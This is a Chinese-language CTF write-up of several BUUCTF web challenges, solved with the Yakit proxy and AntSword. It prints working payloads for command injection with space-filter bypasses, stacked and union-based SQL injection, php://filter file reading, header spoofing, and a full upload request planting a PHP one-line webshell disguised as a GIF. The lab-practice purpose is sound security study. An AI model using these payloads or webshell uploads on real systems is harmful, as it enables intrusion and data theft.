buuCTF WEB方向刷题(熟悉 Yakit)

[GXYCTF2019]Ping Ping Ping

思路

推测为拼接执行

$IFS$1 绕过空格, 创建 shell 变量绕过 flag 字符检测

Payload

/?ip=1|ls

ls 一下查看文件, 看到有两个文件, 其中一个是 flag.php, 用上面的思路 cat 一下

/?ip=1;a=g;cat$IFS$1fla$a.php
Yakit 传的时候记得关闭左边的强制 https
solve~

[强网杯 2019]随便注

思路

给了一个输入框, 结合题目title, 推测可以注入

尝试堆叠注入注出表名, Payload: 1';show tables;#

发现存在堆叠注入, 两个表名字分别为 1919810931114514words ,来使用这句 Payload: ';show columns from `1919810931114514`;# 查看表 1919810931114514 的列名, 发现 flag 在此表中

又因为其过滤了 select, 但是因为我们可以堆叠注入, 于是搜到这个

handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

构造 Payload 思路为: 指定 1919810931114514 表进行载入并重命名为 thisAlias 后读取第一条数据, 最后#注释掉即将拼接的代码

最终Payload

';handler `1919810931114514` open as thisAlias;handler thisAlias read first#
Yakit 需要在参数处选中后手动选择 URL编码
solve~

[极客大挑战 2019]Secret File

思路

劫持后一步一步找线索得到这个网页

<html>
    <title>secret</title>
    <meta charset="utf-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

分析发现需要 get传参 又没有过滤 filter, 于是用其构造 rce
探索php://filter在实战当中的奇技淫巧
于是构造如下 Payload

/secr3t.php?file=php://filter/resource=flag.php

发现并没有 flag 尝试读取后编码

Payload

/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

拿到 chef 解码

solve~

[极客大挑战 2019]LoveSQL

思路

随便注了下, 发现提示语法错误, 但是给出了一半拼接后的语句, 同时给出信息-数据库是 MariaDB
呃呃结果把--换成#注释就好了, 但是MariaDB也是支持--注释的啊(不过也说明是字符注入, 原因: 给出的一半拼接后的语句可以看到a 后的字符闭合符号 ' 一并拼接到sql查询中后报语法错误)

a' or 1=1#

密码随意后回车

随后提示如下

推测密码是通过 md5 杂凑后的, 但是在cmd5尝试查询后显示未查到

手动劫持模式后随便输入点东西点击登录, 再到 Yakit 里面将这个请求带到 Web Fuzzer 里面来, 对其请求适当构造 URL编码标签 后来将其当做 Hackbar

爆破字段数

admin ' order by 1 #

到 4 时报错, 说明字段数为 4

用 union 测注入点(回显点位)

得到回显点位为2和3

爆破数据库

得到数据库名

爆破数据表

/check.php?username={{urlescape(' union select 1,2,group_concat)}}(table_name){{urlenc( from information_schema.tables where table_schema=)}}database(){{urlenc(#)}}&password=1

得到 'geekuser,l0ve1ysq1' 两个数据表

爆破字段

/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(column_name){{urlenc( from information_schema.columns where table_schema=)}}database(){{urlenc( and table_name='geekuser'#)}}&password=1
/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(column_name){{urlenc( from information_schema.columns where table_schema=)}}database(){{urlenc( and table_name='l0ve1ysq1'#)}}&password=1

联合查询数据

/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(id,username,password){{urlenc( from geekuser)}}{{urlenc(#)}}&password=1
/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(id,username,password){{urlenc( from l0ve1ysq1)}}{{urlenc(#)}}&password=1

Payload 如上

solve~

[极客大挑战 2019]Http

思路

看到网页源码中有个文件, 访问一下发现提示: 不是来自 https://Sycsecret.buuoj.cn 不用管这是什么, 只需要知道可以构造 header头 实现绕过这个提示

添上这一条就好了

不过又提示让我们使用什么 "Syclover" browser , 那就改下 UA

到下一小关

它说我们只能在locally访问,那么意思就是要我们使用127.0.0.1来访问,那来添加一行

Payload(Request)

GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:28144
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://Sycsecret.buuoj.cn
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
X-Forwarded-For: 127.0.0.1
solve~

[极客大挑战 2019]Knife

思路

访问题目后结合高亮的信息, 推测出需要菜刀这款工具, 而且题目提到了

eval($_POST["Syc"]);

ChatGPT 帮忙解读下这行代码

Promat:

解读代码 解析 eval($_POST["Syc"]);

回复如下

代码 eval($_POST["Syc"]); 是一段使用 PHP 编写的代码。让我们逐步解读它:

  1. $_POST["Syc"]$_POST 是 PHP 中的一个超全局变量,用于获取通过 HTTP POST 方法发送到服务器的表单数据。$_POST["Syc"] 表示获取名为 "Syc" 的表单字段的值。

  2. eval() 函数:eval() 是 PHP 中的一个函数,用于执行传递给它的字符串作为 PHP 代码。它可以将字符串作为动态代码进行解析和执行。

综合起来,eval($_POST["Syc"]); 的作用是将通过 HTTP POST 方法发送到服务器的名为 "Syc" 的表单字段的值作为字符串解析为 PHP 代码,并执行该代码。

然而,需要注意的是,使用 eval() 函数执行来自用户输入的任意代码是非常危险的,因为它可能导致安全漏洞和攻击。恶意用户可以通过构造恶意的输入来执行任意的 PHP 代码,包括访问、修改或删除文件、执行系统命令等。因此,应该谨慎使用 eval(),尤其是对于来自不受信任的来源的输入数据。

如果有其他特定的需求,请提供更多上下文信息,我将尽力提供更详细的帮助。


简单的说这就是一个一句话木马, 这里理解为直接给了一个 WebShell 就好了

打开 蚁剑 , 右键添加数据 按如图输入两行数据, 测试连接发现成功

添加后双击打开, 下意识去根目录找找 flag ,不过这里有个小坑: 蚁剑左测栏目只能显示目录, 需要在屏幕中心这块区域查看根目录才能看到文件, 如图, 发现 flag 文件, 双击打开复制提交

solve~

[极客大挑战 2019]Upload

思路

访问实例发现是一个图片上传页面, 结合题目名称, 反应上来应该是上传木马, 达成任意执行

这牛魔网站我传个 png 都显示不是图像, 逆天

直接劫持构造请求, 先来写个 php一句话木马, 用 .phtml 后缀绕过 .php 后缀关键字查询

替换下图高亮的部分, 给其标记为 jpeg 格式图片, 不过还是被检测了, html解码后发现是 <? 被检测

就把🐴改为如下

GIF89a? <script language="php">eval($_REQUEST[123])</script>

这下就好了, 如下图

访问 upload 目录看看是否真的上传成功

ok 也打开查看过了没有问题

蚁剑 链接, 如下图配置

ok 在根目录找到 flag

最终 Payload

构造请求

POST /upload_file.php HTTP/1.1
Host: 38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysdZmqDStYm6uZ686
Origin: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81
Referer: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Length: 307

------WebKitFormBoundarysdZmqDStYm6uZ686
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

GIF89a? <script language="php">eval($_REQUEST[123])</script>

------WebKitFormBoundarysdZmqDStYm6uZ686
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundarysdZmqDStYm6uZ686--

蚁剑 链接

地址: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81/upload/1.phtml
密码: 123
solve~

[第一章 web入门]常见的搜集

思路

访问实例后提示信息收集, 访问 /robots.txt , 得到一个目录, 访问是前半部分 flag

这道题除了上边这个 txt, 还有信息存在, 如下文件

/index.php~
/.index.php.swp

打开后如下

拼起来就是 flag

solve~

学英语去了